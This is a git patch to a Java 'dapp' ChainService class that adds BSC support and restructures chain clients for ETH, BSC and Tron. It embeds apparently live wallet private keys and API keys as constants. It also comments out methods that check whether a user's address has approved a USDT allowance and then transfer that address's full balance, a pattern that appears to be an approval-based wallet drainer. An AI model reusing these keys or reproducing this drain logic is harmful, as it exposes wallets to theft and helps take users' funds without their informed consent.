From f4184f358030bed3fb57108d47640ceeaf5ecd03 Mon Sep 17 00:00:00 2001
From: wzy <wzy19931122ai@163.com>
Date: Fri, 15 Apr 2022 22:37:45 +0800
Subject: [PATCH] add bsc and improve code

---
 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java |  177 +++++++++++++++++++++++++++++++++++-----------------------
 1 files changed, 106 insertions(+), 71 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 89cbd2c..a95547b 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -4,91 +4,126 @@
 import cn.hutool.core.util.StrUtil;
 import cn.hutool.http.HttpUtil;
 import com.alibaba.fastjson.JSONObject;
+import org.springframework.data.repository.query.ParameterOutOfBoundsException;
 
 import java.math.BigDecimal;
 import java.math.BigInteger;
+import java.rmi.activation.UnknownObjectException;
 
 /**
- * @author 
+ * @author
  * @date 2022-03-23
  **/
 public class ChainService {
 
-    private final String ETH_PREFIX = "0x";
-    private final EthService ETH = new EthService();
-    private final TrxService TRX = TrxService.INSTANCE;
+    private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+    private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+    private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
-    private ChainService() {}
+    private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+    private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+    private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+    private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+
+    private final static String BSC_URL = "https://data-seed-prebsc-1-s1.binance.org:8545";
+    private final static String BSC_ADDRESS = "0x4EbDCA102623b46a47042D580dddAdE2a53D057F";
+    private final static String BSC_PRIVATE = "0x81c2c02d0c106c1e32ab060a37f6eb279c0649c30ea5cc1c4951e6a8dd4e963c";
+    private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
+
+    private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
+    private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
+    private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
+
+    private final String ETH_PREFIX = "0x";
+
+    private ChainService() {
+    }
 
     public final static ChainService INSTANCE = new ChainService();
 
-    /**
-     * 获取制定账号的USDT余额
-     *
-     * @param address
-     * @return
-     */
-    public BigDecimal balanceOf(String address) {
-        BigDecimal balance = BigDecimal.ZERO;
-        if (address.contains(ETH_PREFIX)) {
-            balance = ETH.tokenGetBalance(address);
-        } else {
-            balance = TRX.balanceOf(address);
-        }
-        return balance;
-    }
-
-    /**
-     * 判断地址是否授权给制定账户
-     *
-     * @param address
-     * @return
-     */
-    public boolean isAllowance(String address) {
-        BigInteger result;
-        if (address.startsWith(ETH_PREFIX)) {
-            result = ETH.ethAllowance(address);
-        } else {
-            result = TRX.allowance(address);
+    public static ContractChainService getInstance(String chainType) {
+        switch (chainType) {
+            case "ETH" :
+                return ETH;
+            case "BSC" :
+                return BSC;
+            case "TRX" :
+                return TRX;
+            default:
+                break;
         }
 
-        return result.intValue() != 0;
+        throw new FebsException("参数错误");
     }
-
-    /**
-     * 获取地址授权数量
-     *
-     * @param address
-     * @return
-     */
-    public int allowanceCnt(String address) {
-        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
-        String total = JSONObject.parseObject(response).getString("total");
-        return Integer.parseInt(total);
-    }
-
-    public String transfer(String address) {
-        BigDecimal amount = balanceOf(address);
-
-        return transfer(address, amount);
-    }
-
-    public String transfer(String address, BigDecimal amount) {
-        String hash;
-        if (address.startsWith(ETH_PREFIX)) {
-            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
-            JSONObject data = JSONObject.parseObject(resp);
-            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
-        } else {
-            hash = TRX.transfer(address, amount);
-        }
-        return hash;
-    }
-
-    public static void main(String[] args) {
-//        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
-
-//        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
-        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
-    }
+//
+//    /**
+//     * 获取制定账号的USDT余额
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public BigDecimal balanceOf(String address) {
+//        BigDecimal balance = BigDecimal.ZERO;
+//        if (address.contains(ETH_PREFIX)) {
+//            balance = ETH.tokenGetBalance(address);
+//        } else {
+//            balance = TRX.balanceOf(address);
+//        }
+//        return balance;
+//    }
+//
+//    /**
+//     * 判断地址是否授权给制定账户
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public boolean isAllowance(String address) {
+//        BigInteger result;
+//        if (address.startsWith(ETH_PREFIX)) {
+//            result = ETH.ethAllowance(address);
+//        } else {
+//            result = TRX.allowance(address);
+//        }
+//
+//        return result.intValue() != 0;
+//    }
+//
+//    /**
+//     * 获取地址授权数量
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public int allowanceCnt(String address) {
+//        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
+//        String total = JSONObject.parseObject(response).getString("total");
+//        return Integer.parseInt(total);
+//    }
+//
+//    public String transfer(String address) {
+//        BigDecimal amount = balanceOf(address);
+//
+//        return transfer(address, amount);
+//    }
+//
+//    public String transfer(String address, BigDecimal amount) {
+//        String hash;
+//        if (address.startsWith(ETH_PREFIX)) {
+//            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+//            JSONObject data = JSONObject.parseObject(resp);
+//            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
+//        } else {
+//            hash = TRX.transfer(address, amount);
+//        }
+//        return hash;
+//    }
+//
+//    public static void main(String[] args) {
+////        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+//
+////        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+//        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+//    }
 }

--
Gitblit v1.9.1